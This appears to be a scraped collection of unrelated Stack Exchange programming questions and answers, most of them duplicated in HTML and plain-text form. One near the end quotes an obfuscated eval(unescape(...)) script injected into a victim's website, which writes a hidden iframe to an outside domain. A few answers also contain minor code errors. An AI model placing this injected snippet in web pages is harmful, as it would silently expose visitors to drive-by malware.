问:
Converting a dict to XML with attributes
I am using dicttoxml in python for converting dict to XML .

I need to convert the dict to XML attributes.

For example:

dict

```<code>[
      {
           "@name":"Ravi",
           "@age":21,
           "college":"Anna University"
       }
]
</code>```

Output XML

<Student name="Ravi" age=21>
  <college>Anna University</college>
</Student>
```

<p><strong>code</strong></p>

```dicttoxml(dict, custom_root='Student', attr_type=False, root=True)
```

<p><strong>Actual Output</strong></p>

<pre class="lang-xml prettyprint-override"><code><Student>
  <key name="name">Ravi</key>
  <key name="age">21</key>
  <college>Anna University</college>
</Student>
</code>```

答:
I might suggest declxml (full disclosure: I wrote it). With declxml, you create an object called a processor which declaratively defines the structure of your XML. You can use the processor to both parse and serialize XML data. declxml works with serializing to and from dictionaries, objects, and namedtuples. It handles attributes and arrays of elements and performs basic validation.

```<code>import declxml as xml

student = {
    'name':'Ravi',
    'age':21,
    'college':'Anna University'
}

student_processor = xml.dictionary('Student', [
    xml.string('.', attribute='name'),
    xml.integer('.', attribute='age'),
    xml.string('college')
])

xml.serialize_to_string(student_processor, student, indent='    ')
</code>```

Which produces the desired output

```<code><?xml version="1.0" ?>
<Student age="21" name="Ravi">
    <college>Anna University</college>
</Student>
</code>```

Body:
I am using dicttoxml in python for converting dict to XML .

I need to convert the dict to XML attributes.

For example:

dict

[
      {
           "@name":"Ravi",
           "@age":21,
           "college":"Anna University"
       }
]

Output XML

<Student name="Ravi" age=21>
  <college>Anna University</college>
</Student>

code

dicttoxml(dict, custom_root='Student', attr_type=False, root=True)

Actual Output

<Student>
  <key name="name">Ravi</key>
  <key name="age">21</key>
  <college>Anna University</college>
</Student>

Body:
I might suggest declxml (full disclosure: I wrote it). With declxml, you create an object called a processor which declaratively defines the structure of your XML. You can use the processor to both parse and serialize XML data. declxml works with serializing to and from dictionaries, objects, and namedtuples. It handles attributes and arrays of elements and performs basic validation.

import declxml as xml

student = {
    'name':'Ravi',
    'age':21,
    'college':'Anna University'
}

student_processor = xml.dictionary('Student', [
    xml.string('.', attribute='name'),
    xml.integer('.', attribute='age'),
    xml.string('college')
])

xml.serialize_to_string(student_processor, student, indent='    ')

Which produces the desired output

<?xml version="1.0" ?>
<Student age="21" name="Ravi">
    <college>Anna University</college>
</Student>


来源: stackexchange

问:
mysql database value as select id
I am trying to assign an ID to values to be posted with the submit tag

```<code>$query = "SELECT * FROM `events`";
$result2 = mysqli_query($connect, $query);

$options = "";
while($row2 = mysqli_fetch_array($result2))
{
    $options = $options."<option>$row2[1] $row2[2]</option>";
}
</code>```

```<code><select>
    <?php echo $options;?>
</select>
</code>```

Doing this outputs the event name and the date it will take place ( 2nd and 3rd item in my mysql database. This later gets used in a form and lists these as options for someone to pick. I was wondering if there was a way to add a proper value= to them. The first thing in my mysql database is a random generated ID for each "event" but I can't figure out how to echo the id of each event in the option tag without it breaking.

答:
```<code>$options = $options."<option value="."$row2[0]".">$row2[1] $row2[2]</option>";
</code>```

This is very simple.

ContentLicense: CC BY-SA 3.0

Title: mysql database value as select id

Body:
I am trying to assign an ID to values to be posted with the submit tag

$query = "SELECT * FROM `events`";
$result2 = mysqli_query($connect, $query);

$options = "";
while($row2 = mysqli_fetch_array($result2))
{
    $options = $options."<option>$row2[1] $row2[2]</option>";
}

<select>
    <?php echo $options;?>
</select>

Doing this outputs the event name and the date it will take place ( 2nd and 3rd item in my mysql database. This later gets used in a form and lists these as options for someone to pick. I was wondering if there was a way to add a proper value= to them. The first thing in my mysql database is a random generated ID for each "event" but I can't figure out how to echo the id of each event in the option tag without it breaking.

Body:
$options = $options."<option value="."$row2[0]".">$row2[1] $row2[2]</option>";

This is very simple.


问:
Calculate salary difference between two rows in HIVE
I have a table with below columns-

```<code>last_name,    first_name,  department,     salary
</code>```

I want to calculate list of employees who receive a salary less than 100, compared
to their immediate employee with higher salary in the same department. I went to below answer- Compute differences between succesive records in Hadoop with Hive Queries    and tried but I think I am doing something wrong as I am new to HIVE.

Below is the query which I am running-

```<code>select last_name,first_name, salary from emp where
100 = LEAD(salary,1) OVER(PARTITION BY department ORDER BY salary)-salary;
</code>```

Please help me with the solution.

答:
Try </p>

```<code>    with temp as(
select last_name,
   first_name,
   department,
   salary,
   LEAD(salary, 1)
          OVER(                             PARTITION BY department
                    ORDER BY salary) as diff

    FROM   emp
    )

    select ast_name,
   first_name,
   department,
   salary
   from temp
    where diff >100
</code>```

Body:
I have a table with below columns-

last_name,    first_name,  department,     salary

I want to calculate list of employees who receive a salary less than 100, compared
to their immediate employee with higher salary in the same department. I went to below answer- Compute differences between succesive records in Hadoop with Hive Queries    and tried but I think I am doing something wrong as I am new to HIVE.

Below is the query which I am running-

select last_name,first_name, salary from emp where
100 = LEAD(salary,1) OVER(PARTITION BY department ORDER BY salary)-salary;

Please help me with the solution.

Body:
Try

    with temp as(
select last_name,
   first_name,
   department,
   salary,
   LEAD(salary, 1)
          OVER(                             PARTITION BY department
                    ORDER BY salary) as diff

    FROM   emp
    )

    select ast_name,
   first_name,
   department,
   salary
   from temp
    where diff >100


问:
How to get value from RecycleAdapter and set to MainActivity Text?
My Adapter Code looks like :

```<code>    @Override
    public void onBindViewHolder(final ViewHolder holder, final int position) {
        GetSet getSet = allData.get(position);
        holder.tvId.setText(getSet.getId().toString());
        holder.tvName.setText(getSet.getName());

    public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{

        @BindView(R.id.tvId)
        TextView tvId;

        @BindView(R.id.tvName)
        TextView tvName;
</code>```

I have textview in MainActivity, my question is how to get value/text id and name to set in textview?

答:
Suppose you have label in Activity and you wanted to pass the updated string to Activity. See the following suggestion

Adapter

```<code>//create an interface in adapter
public interface LabelChangeListener {
    void onLabelChanged(String text);
}

//create a method inside adapter
public void setLabelChangeListener(LabelChangeListener listener) {
    this.listener = listener;
}

//optional: create this method inside adapter
public void updateActivityLabel() {
    if (listener != null) {
        listener.onLabelChanged("this is update");
    }
}
</code>```

Activity

```<code>//from activity
adapter.setLabelChangeListener(new LabelChangeListener() {
    void onLabelChanged(String text) {
        lblYourTextView.setText(text);
    }
});
</code>```

Body:
My Adapter Code looks like :

    @Override
    public void onBindViewHolder(final ViewHolder holder, final int position) {
        GetSet getSet = allData.get(position);
        holder.tvId.setText(getSet.getId().toString());
        holder.tvName.setText(getSet.getName());

    public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{

        @BindView(R.id.tvId)
        TextView tvId;

        @BindView(R.id.tvName)
        TextView tvName;

I have textview in MainActivity, my question is how to get value/text id and name to set in textview?

Body:
Suppose you have label in Activity and you wanted to pass the updated string to Activity. See the following suggestion

Adapter

//create an interface in adapter
public interface LabelChangeListener {
    void onLabelChanged(String text);
}

//create a method inside adapter
public void setLabelChangeListener(LabelChangeListener listener) {
    this.listener = listener;
}

//optional: create this method inside adapter
public void updateActivityLabel() {
    if (listener != null) {
        listener.onLabelChanged("this is update");
    }
}

Activity

//from activity
adapter.setLabelChangeListener(new LabelChangeListener() {
    void onLabelChanged(String text) {
        lblYourTextView.setText(text);
    }
});


问:
Approaches to coding an API for developer discoverability
I'm working on a new framework/api for a greenfield application.  One of the challenges my boss propositioned the team with was coding the framework/api to aid future developers in being able to navigate the code and discover how to code against the framework in the context of the business.  While we are fortunate based on the tooling around the .NET stack to have things like Intellisense, I was wondering if there was anything aside from tried and true coding standards that would help a new dev find their way around a framework?  Can the code be structured in such a way as to "self-document?"</p>

答: As for structure, follow the Design Guidelines for Developing Class Libraries</p>

ContentLicense: CC BY-SA 2.5


问:
JS click function open url in new windown
I create a link with text using html and i want to create when user click it goes to specific url. I new in javascript!!

here my code

```<code><a class="dt-button add_new_table_entry DTTT_button DTTT_button_new" tabindex="0" aria-controls="table_1" href="#">
<span>Add new</span>
</a>
</code>```

my script

```<code>$("dt-button add_new_table_entry DTTT_button DTTT_button_new").click(function () {
window.location="http://project.co/add-new/";
});
</code>```

UPDATE
I have create my script

```<code> let classic = document.getElementsByClassName('add_new DTTT_button DTTT_button_new');
for (var i=0; i < classic.length; i++) {
classic[i].addEventListener("click", clickfunc, false);
}
function.clickfunc(){
document.location.href="http://google.com";
}
</code>```

but give error unexpected token ;

答:
javascript open new window</p>

```<code>window.open(url, windowName, "height=200,width=200");
</code>```

Body:
I create a link with text using html and i want to create when user click it goes to specific url. I new in javascript!!

here my code

Add new

my script

$("dt-button add_new_table_entry DTTT_button DTTT_button_new").click(function () {
window.location="http://project.co/add-new/";
});

UPDATE
I have create my script

 let classic = document.getElementsByClassName('add_new DTTT_button DTTT_button_new');
for (var i=0; i < classic.length; i++) {
classic[i].addEventListener("click", clickfunc, false);
}
function.clickfunc(){
document.location.href="http://google.com";
}

but give error unexpected token ;

Body:
javascript open new window

window.open(url, windowName, "height=200,width=200");


答:
You do not have any class named add_new. Using single unique class in getElementsByClassName parameter is enough. Try the following:

```<code>let classic = document.getElementsByClassName('dt-button');
for (var i=0; i < classic.length; i++) {
  classic[i].addEventListener("click", clickfunc, false);
}
function clickfunc(){
  window.open("http://google.com","_blank");
}
</code>```

Title: JS click function open url in new windown

Body:
You do not have any class named add_new. Using single unique class in getElementsByClassName parameter is enough. Try the following:

let classic = document.getElementsByClassName('dt-button');
for (var i=0; i < classic.length; i++) {
  classic[i].addEventListener("click", clickfunc, false);
}
function clickfunc(){
  window.open("http://google.com","_blank");
}


问:
Css Pseudo-class :first-letter
Can it be used inside an a tag?

```<code>a.x:first-letter
{
   color:red;
}
</code>```

My name is Lionel

I can't seem to make it work.

答:
Yes, that should work fine.

Can you provide a JSFiddle example of it not working?

It certainly should work -- See here for a test page which demonstrates it in action, and here for a browser compatibility chart (it says it should work in any browser).

[EDIT]

As @SilentGhost says, it only works for block level elements, which
 is and  isn't.

You can make inline elements like  act as block elements by using the display:block; style. However this can mess up your page layout.

Fortunately, there is a half-way house option: display:inline-block; which should make your element get treated as a block element without disrupting your page layout. Try adding that to your stylesheet as follows:

```<code>a.x {
  display:block;
}
</code>```

Your :first-letter style should now work.

Title: Css Pseudo-class :first-letter

Body:
Can it be used inside an a tag?

a.x:first-letter
{
   color:red;
}

My name is Lionel

I can't seem to make it work.

Body:
Yes, that should work fine.

Can you provide a JSFiddle example of it not working?

It certainly should work -- See here for a test page which demonstrates it in action, and here for a browser compatibility chart (it says it should work in any browser).

[EDIT]

As @SilentGhost says, it only works for block level elements, which <p> is and <a> isn't.

You can make inline elements like <a> act as block elements by using the display:block; style. However this can mess up your page layout.

Fortunately, there is a half-way house option: display:inline-block; which should make your element get treated as a block element without disrupting your page layout. Try adding that to your stylesheet as follows:

a.x {
  display:block;
}

Your :first-letter style should now work.


问:
I need vBA coe to replace a list of strings in an Excel sheet with another string
I need code like this in VBA</p>

```<code>Sub ReplaceCourseCode()

    if(string in a cell= "john")
             replace string in a cell with "ThunderJohn"
    elseif(string in a cell ="David)
              replace string in a cell with "ThunderDavie"
    else move to next cell
End Sub
</code>```

答:
As with most tasks in VBA, there are numerous different methods that can yield the same result.  Here's a couple...

This one loops through the cells you specify, or you could replace Range("A1:B3") with ActiveSheet.UsedRange to loop through all "used" cells on the worksheet:

```<code>Sub ReplaceCourseCode()
    Dim c As Range
    For Each c In Range("A1:B3") 'specify the search range (on the active worksheet)
        If c = "john" Then
            c = "ThunderJohn"
        ElseIf c = "David" Then
            c = "ThunderDavie"
        End If
    Next c
End Sub
</code>```

Or, if you're just looking to automate simple Search & Replace (like CTRL+H) for the whole worksheet, you only need one line of code per search:

```<code>Sub FindReplace()
    Cells.Replace What:="john", Replacement:="ThunderJohn", MatchCase:=False
    Cells.Replace What:="David", Replacement:="ThunderDavie", MatchCase:=False
End Sub
</code>```

Further reading:

Range.Replace Method

Replace Function

RegEx Tutorial  (a Beginner's guide to Advanced searching)

ContentLicense: CC BY-SA 4.0

Body:
I need code like this in VBA

Sub ReplaceCourseCode()

    if(string in a cell= "john")
             replace string in a cell with "ThunderJohn"
    elseif(string in a cell ="David)
              replace string in a cell with "ThunderDavie"
    else move to next cell
End Sub

Body:
As with most tasks in VBA, there are numerous different methods that can yield the same result.  Here's a couple...

This one loops through the cells you specify, or you could replace Range("A1:B3") with ActiveSheet.UsedRange to loop through all "used" cells on the worksheet:

Sub ReplaceCourseCode()
    Dim c As Range
    For Each c In Range("A1:B3") 'specify the search range (on the active worksheet)
        If c = "john" Then
            c = "ThunderJohn"
        ElseIf c = "David" Then
            c = "ThunderDavie"
        End If
    Next c
End Sub

Or, if you're just looking to automate simple Search & Replace (like CTRL+H) for the whole worksheet, you only need one line of code per search:

Sub FindReplace()
    Cells.Replace What:="john", Replacement:="ThunderJohn", MatchCase:=False
    Cells.Replace What:="David", Replacement:="ThunderDavie", MatchCase:=False
End Sub

Further reading:

Range.Replace Method

Replace Function

RegEx Tutorial  (a Beginner's guide to Advanced searching)


问:
Node.Js wierd error
So I run my app and at one point I get this error after creating a deposite.

```<code>[2017-10-26 20:44:39.692] [DEBUG] [default] - Tradeoffer #2624930742 (sent - joinJackpot) with code : tPHJsg has been created by steamid: 76561198114317007
(node:13756) [DEP0013] DeprecationWarning: Calling an asynchronous function without callback is deprecated.
</code>```

Thank you in advance

答: Finally the error was cause by the OS and not the actual script. So I switch from Ubuntu 17 to Debian 8</p>

Title: Node.Js wierd error

Body:
So I run my app and at one point I get this error after creating a deposite.

[2017-10-26 20:44:39.692] [DEBUG] [default] - Tradeoffer #2624930742 (sent - joinJackpot) with code : tPHJsg has been created by steamid: 76561198114317007
(node:13756) [DEP0013] DeprecationWarning: Calling an asynchronous function without callback is deprecated.

Thank you in advance


答:
use follwing code    </p>

```<code>$("dt-button add_new_table_entry DTTT_button
DTTT_button_new").click(function () {
window.open("http://project.co/add-new/");
});
</code>```

Body:
use follwing code

$("dt-button add_new_table_entry DTTT_button
DTTT_button_new").click(function () {
window.open("http://project.co/add-new/");
});


问:
Working of @CacheLookUp of PageFactory in Selenium
I am not very clear with the concept of @CacheLookUp in PageFactory. I used it in my framework for every element but many times it leads to Stale Exception in selenium. On removing the @Cache annotation, it starts working fine.

Please explain the internal working mechanism of @CacheLookUp so that I starting using it nicely, where ever it is required.

答:
Extra information which might be useful
When PageFactory initializes a WebElement which is decorated with @FindBy or @FindAll annotation, it creates a Java proxy object. This way PageFactory is able to delay load elements and is also able to avoid the FindElementBy call on the Browser's WebDriver during PageObject initialization.

To the point, this means that Proxy object has to resolve the actual WebElement to make all the necessary calls on the WebElement. There are logically two ways to do it
1. Either find the element every time you need it (Which is time consuming because of a FindElement REST call to WebDriver)
2. Or to cache the element from the very first FindElement call to WebDriver and return it in subsequent calls. (This is not a good idea for elements which are dynamic, that is refresh multiple times during there life time in DOM, because referring to a older cached version will result in State Element exception.

To cater to these two ways to find element, Smart people from Selenium Dev team created the @CacheLookUp annotation. If you use this annotation you can instruct Selenium to not make a FindElement call to Browser's WebDriver every time.

I recently wrote an article around the performance benefit of @CacheLookup. You can read it here on ToolsQA - @CacheLookup

It will also suggest when to use @CacheLookup and when not to use it.

If you want to debug the code to understand the working then you have to look at these two key interfaces.
1. org.openqa.selenium.support.pagefactory.ElementLocatorFactory : This helps PageFactory get ElementLocator.
2. Second interface is  org.openqa.selenium.support.pagefactory.ElementLocator. Concrete implementation is DefaultElementLocator.

To start debugging you can step inside PageFactory.initElement and that will lead you through these two interfaces to the implementation of DefaultElementLocator. This is where you can find the caching logic.


问:
Python OrderedDicts equal to a tolerance
I have 100 OrderedDicts like,

```<code>foo =  OrderedDict({
    'a': -0.1011,
    'b': 3.2022,
    'c': 0.0
})
</code>```

where some of them are likely to be equal. For a list of 100 dicts like foo, I would like to find the indices of the unique items, where a given item is unique if its values are not equal to the values of any other dict, to a tolerance of 0.01. Importantly we can assume the order of the keys for all OrderedDicts in the list are the same. So I could do np.isclose(foo.values(), baz.values(), atol=0.01), but I'd have to loop through 10000 times to compare them all; actually less b/c I could on-the-fly ignore those that are found to be redundant. But is there a more efficient approach to doing this?

Another approach is something like: uniques = {tuple(x.values()) for x in list_of_ord_dicts}, but how could I incorporate a tolerance here?

答:
This is probably overkill but it should run fast and is simple to read. It runs the K-Means algorithm to find clusters within .01. You'll need sklearn.</p>

```<code>from collections import OrderedDict
from random import random
from copy import copy
import pandas as pd
from sklearn import cluster

hundred_dicts = [OrderedDict(a=random(), b=random(), c=random()) for _ in range(90)]
hundred_dicts.extend(copy(hundred_dicts[:10]))

df = pd.DataFrame(hundred_dicts)
kmeans = cluster.KMeans(
        n_clusters=len(hundred_dicts),
        random_state=0,
        tol=0.01).fit(df)
labels = kmeans.labels_
df['cluster'] = kmeans.labels_
df = df.drop_duplicates(subset='cluster')
</code>```

Body:
I have 100 OrderedDicts like,

foo =  OrderedDict({
    'a': -0.1011,
    'b': 3.2022,
    'c': 0.0
})

where some of them are likely to be equal. For a list of 100 dicts like foo, I would like to find the indices of the unique items, where a given item is unique if its values are not equal to the values of any other dict, to a tolerance of 0.01. Importantly we can assume the order of the keys for all OrderedDicts in the list are the same. So I could do np.isclose(foo.values(), baz.values(), atol=0.01), but I'd have to loop through 10000 times to compare them all; actually less b/c I could on-the-fly ignore those that are found to be redundant. But is there a more efficient approach to doing this?

Another approach is something like: uniques = {tuple(x.values()) for x in list_of_ord_dicts}, but how could I incorporate a tolerance here?

Body:
This is probably overkill but it should run fast and is simple to read. It runs the K-Means algorithm to find clusters within .01. You'll need sklearn.

from collections import OrderedDict
from random import random
from copy import copy
import pandas as pd
from sklearn import cluster

hundred_dicts = [OrderedDict(a=random(), b=random(), c=random()) for _ in range(90)]
hundred_dicts.extend(copy(hundred_dicts[:10]))

df = pd.DataFrame(hundred_dicts)
kmeans = cluster.KMeans(
        n_clusters=len(hundred_dicts),
        random_state=0,
        tol=0.01).fit(df)
labels = kmeans.labels_
df['cluster'] = kmeans.labels_
df = df.drop_duplicates(subset='cluster')


问:
Wheredoesnthave relation in Laravel
I've a problem doing a query using Eloquent/Laravel.

This is my model:
A request has ZERO or multiple offers. An offer can be hide (it's an attribute set on the offer).

What I need to do is to retrieve all requests that either have or don't have offers. BUT, if there's an offer associated, the offer needs to have the attribute hide=false.

I've tried the following, but doesn't seem to work.

```<code>$requests = Request::whereDoesntHave('offers', function ($query) use ($hideStatus) {
   $query->where('hide', true);
})->get();
</code>```

I think it's returning to me only requests that don't have offers at all.

Any idea?

FYI, I've Laravel 5.4

Any help would be greatly appreciated!

Thanks

答:
Check below query. I didn't test the query, wrote it with the knowledge I have.</p>

```<code>$requests = Request::whereHas('offers', function ($query) {
                    $query->where('hide', false);
                })
                ->orDoesntHave('offers')
                ->get();
</code>```

Title: Wheredoesnthave relation in Laravel

Body:
I've a problem doing a query using Eloquent/Laravel.

This is my model:
A request has ZERO or multiple offers. An offer can be hide (it's an attribute set on the offer).

What I need to do is to retrieve all requests that either have or don't have offers. BUT, if there's an offer associated, the offer needs to have the attribute hide=false.

I've tried the following, but doesn't seem to work.

$requests = Request::whereDoesntHave('offers', function ($query) use ($hideStatus) {
   $query->where('hide', true);
})->get();

I think it's returning to me only requests that don't have offers at all.

Any idea?

FYI, I've Laravel 5.4

Any help would be greatly appreciated!

Thanks

Body:
Check below query. I didn't test the query, wrote it with the knowledge I have.

$requests = Request::whereHas('offers', function ($query) {
                    $query->where('hide', false);
                })
                ->orDoesntHave('offers')
                ->get();


问:
How to refresh dropdownlist without reloading the page?
I have two dropdownlists in my page:

```<code><asp:DropDownList AutoPostBack="True" OnSelectedIndexChanged="ddlMain_SelectedIndexChanged" ClientIDMode="Static" ID="ddlMain" name="searchPhys" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
    <asp:ListItem Text="BY PHYSICIAN" Value="0" Selected="True" />
    <asp:ListItem Text="BY LOCATION" Value="1" />
    <asp:ListItem Text="BY SPECIALTY" Value="2" />
</asp:DropDownList>

<br /><br />

<asp:DropDownList ClientIDMode="Static" ID="ddlDrillDown" name="searchPhys" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
</asp:DropDownList>
</code>```

My code-behind to handle the dropdownlist change is:

```<code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Xml.Linq;
using System.Configuration;
using System.Windows.Forms;
using System.Data;

public partial class physicians : System.Web.UI.Page
{

    protected void Page_Load(object sender, EventArgs e) {

    if (!Page.IsPostBack) {
        PopulatePhysician();
    }
    //PopulateSpecialty();
    //PopulateLocation();

    }

    public void PopulatePhysician() {
        SqlCommand cmd = new SqlCommand("getPhysicians", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        //cmd.CommandType = Data.CommandType.StoredProcedure
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();
            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Physician's Name";
            Item.Value = "0";
            //Item.Selected = True
            ddlDrillDown.Items.Insert(0, Item);
        //}
    cmd.Connection.Close();
    cmd.Connection.Dispose();
    }

    public void PopulateSpecialty() {
        SqlCommand cmd = new SqlCommand("getSpecialties", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();
            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Specialty";
            Item.Value = "0";
            ddlDrillDown.Items.Insert(0, Item);
        //}
        cmd.Connection.Close();
        cmd.Connection.Dispose();
    }

    public void PopulateLocation() {
        SqlCommand cmd = new SqlCommand("getLocations", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();

            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Location";
            Item.Value = "0";
            ddlDrillDown.Items.Insert(0, Item);
        //}
        cmd.Connection.Close();
        cmd.Connection.Dispose();
    }

    public void ddlMain_SelectedIndexChanged(object sender, System.EventArgs e) {
        switch(ddlMain.SelectedIndex) {
            case 0:
                PopulatePhysician();
                break;
            case 1:
                PopulateLocation();
                break;
            case 2:
                PopulateSpecialty();
                break;
        }
    }
}
</code>```

The feature that I am trying to add to the above is, when the user selects an option from the ddlMain dropdownlist to refresh the ddlDrillDown dropdownlist based on the option without reloading the page.

How can I achieve it?

UPDATE:

```<code><asp:ScriptManager ID="ScriptManager"
                               runat="server" />
            <asp:UpdatePanel ID="UpdatePanel1"
                             UpdateMode="Conditional"
                             runat="server">
                <ContentTemplate>
                    <asp:DropDownList AutoPostBack="True" OnSelectedIndexChanged="ddlMain_SelectedIndexChanged" ClientIDMode="Static" ID="ddlMain" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
                        <asp:ListItem Text="BY PHYSICIAN" Value="0" Selected="True" />
                        <asp:ListItem Text="BY LOCATION" Value="1" />
                        <asp:ListItem Text="BY SPECIALTY" Value="2" />
                    </asp:DropDownList>
                    <br /><br />
                    <asp:DropDownList ClientIDMode="Static" ID="ddlDrillDown" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
                    </asp:DropDownList>
                    </ContentTemplate>
            </asp:UpdatePanel>
</code>```

答:
If this is the case, Ajax method should resolve your problem.
Since you are quite new to Ajax, I would describe a bit more details.

There must be only one ScriptManager in the same page.
( If you are using Master page, add to master page and no need to add anymore in nested content page )

Add UpdatePanel and add your controls to ContentTemplate of UpdatePanel.

Add AutoPostBack="True" to your main dropdownlist.

Add SelectedIndexChanged event by double clicking on main dropdownlist.

In SelectedIndexChanged event of main dropdownlist, clear the ddlDrillDown items by adding ddlDrillDown.Items.Clear() method and rebind the data whatever you need based on the value of main dropdown list.

Body:
I have two dropdownlists in my page:

<asp:DropDownList AutoPostBack="True" OnSelectedIndexChanged="ddlMain_SelectedIndexChanged" ClientIDMode="Static" ID="ddlMain" name="searchPhys" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
    <asp:ListItem Text="BY PHYSICIAN" Value="0" Selected="True" />
    <asp:ListItem Text="BY LOCATION" Value="1" />
    <asp:ListItem Text="BY SPECIALTY" Value="2" />
</asp:DropDownList>

<asp:DropDownList ClientIDMode="Static" ID="ddlDrillDown" name="searchPhys" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
</asp:DropDownList>

My code-behind to handle the dropdownlist change is:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Xml.Linq;
using System.Configuration;
using System.Windows.Forms;
using System.Data;

public partial class physicians : System.Web.UI.Page
{

    protected void Page_Load(object sender, EventArgs e) {

    if (!Page.IsPostBack) {
        PopulatePhysician();
    }
    //PopulateSpecialty();
    //PopulateLocation();

    }

    public void PopulatePhysician() {
        SqlCommand cmd = new SqlCommand("getPhysicians", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        //cmd.CommandType = Data.CommandType.StoredProcedure
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();
            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Physician's Name";
            Item.Value = "0";
            //Item.Selected = True
            ddlDrillDown.Items.Insert(0, Item);
        //}
    cmd.Connection.Close();
    cmd.Connection.Dispose();
    }

    public void PopulateSpecialty() {
        SqlCommand cmd = new SqlCommand("getSpecialties", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();
            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Specialty";
            Item.Value = "0";
            ddlDrillDown.Items.Insert(0, Item);
        //}
        cmd.Connection.Close();
        cmd.Connection.Dispose();
    }

    public void PopulateLocation() {
        SqlCommand cmd = new SqlCommand("getLocations", new SqlConnection(ConfigurationManager.AppSettings["ConnString"]));
        cmd.Connection.Open();

        SqlDataReader ddlValues = default(SqlDataReader);
        ddlValues = cmd.ExecuteReader();

        //if (!IsPostBack) {
            ddlDrillDown.Items.Clear();
            ddlDrillDown.DataSource = ddlValues;
            ddlDrillDown.DataValueField = "content_id";
            ddlDrillDown.DataTextField = "content_title";
            ddlDrillDown.DataBind();

            //set the default value for the drop down
            ListItem Item = new ListItem();
            Item.Text = "Select a Location";
            Item.Value = "0";
            ddlDrillDown.Items.Insert(0, Item);
        //}
        cmd.Connection.Close();
        cmd.Connection.Dispose();
    }

    public void ddlMain_SelectedIndexChanged(object sender, System.EventArgs e) {
        switch(ddlMain.SelectedIndex) {
            case 0:
                PopulatePhysician();
                break;
            case 1:
                PopulateLocation();
                break;
            case 2:
                PopulateSpecialty();
                break;
        }
    }
}

The feature that I am trying to add to the above is, when the user selects an option from the ddlMain dropdownlist to refresh the ddlDrillDown dropdownlist based on the option without reloading the page.

How can I achieve it?

UPDATE:

<asp:ScriptManager ID="ScriptManager"
                               runat="server" />
            <asp:UpdatePanel ID="UpdatePanel1"
                             UpdateMode="Conditional"
                             runat="server">
                <ContentTemplate>
                    <asp:DropDownList AutoPostBack="True" OnSelectedIndexChanged="ddlMain_SelectedIndexChanged" ClientIDMode="Static" ID="ddlMain" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
                        <asp:ListItem Text="BY PHYSICIAN" Value="0" Selected="True" />
                        <asp:ListItem Text="BY LOCATION" Value="1" />
                        <asp:ListItem Text="BY SPECIALTY" Value="2" />
                    </asp:DropDownList>

                    <asp:DropDownList ClientIDMode="Static" ID="ddlDrillDown" style="width: 365px;" class="default" runat="server" AppendDataBoundItems="true">
                    </asp:DropDownList>
                    </ContentTemplate>
            </asp:UpdatePanel>


问:
This site may be distributing malware ? strange javascript?
```<code><script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%33%33%38%33%
37%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%
3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
</code>```

My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

答:
If you want to see what that code does, paste the escaped code on this URL (I've done it, and it appears to be trying to redirect your site to another link):
http://www.linkedresources.com/tools/unescaper_v0.2b1.html

Are you using some kind of Content Management System (CMS) on your website?  If so, the best thing you can do is to go to that CMS's website and download the latest version.


问:
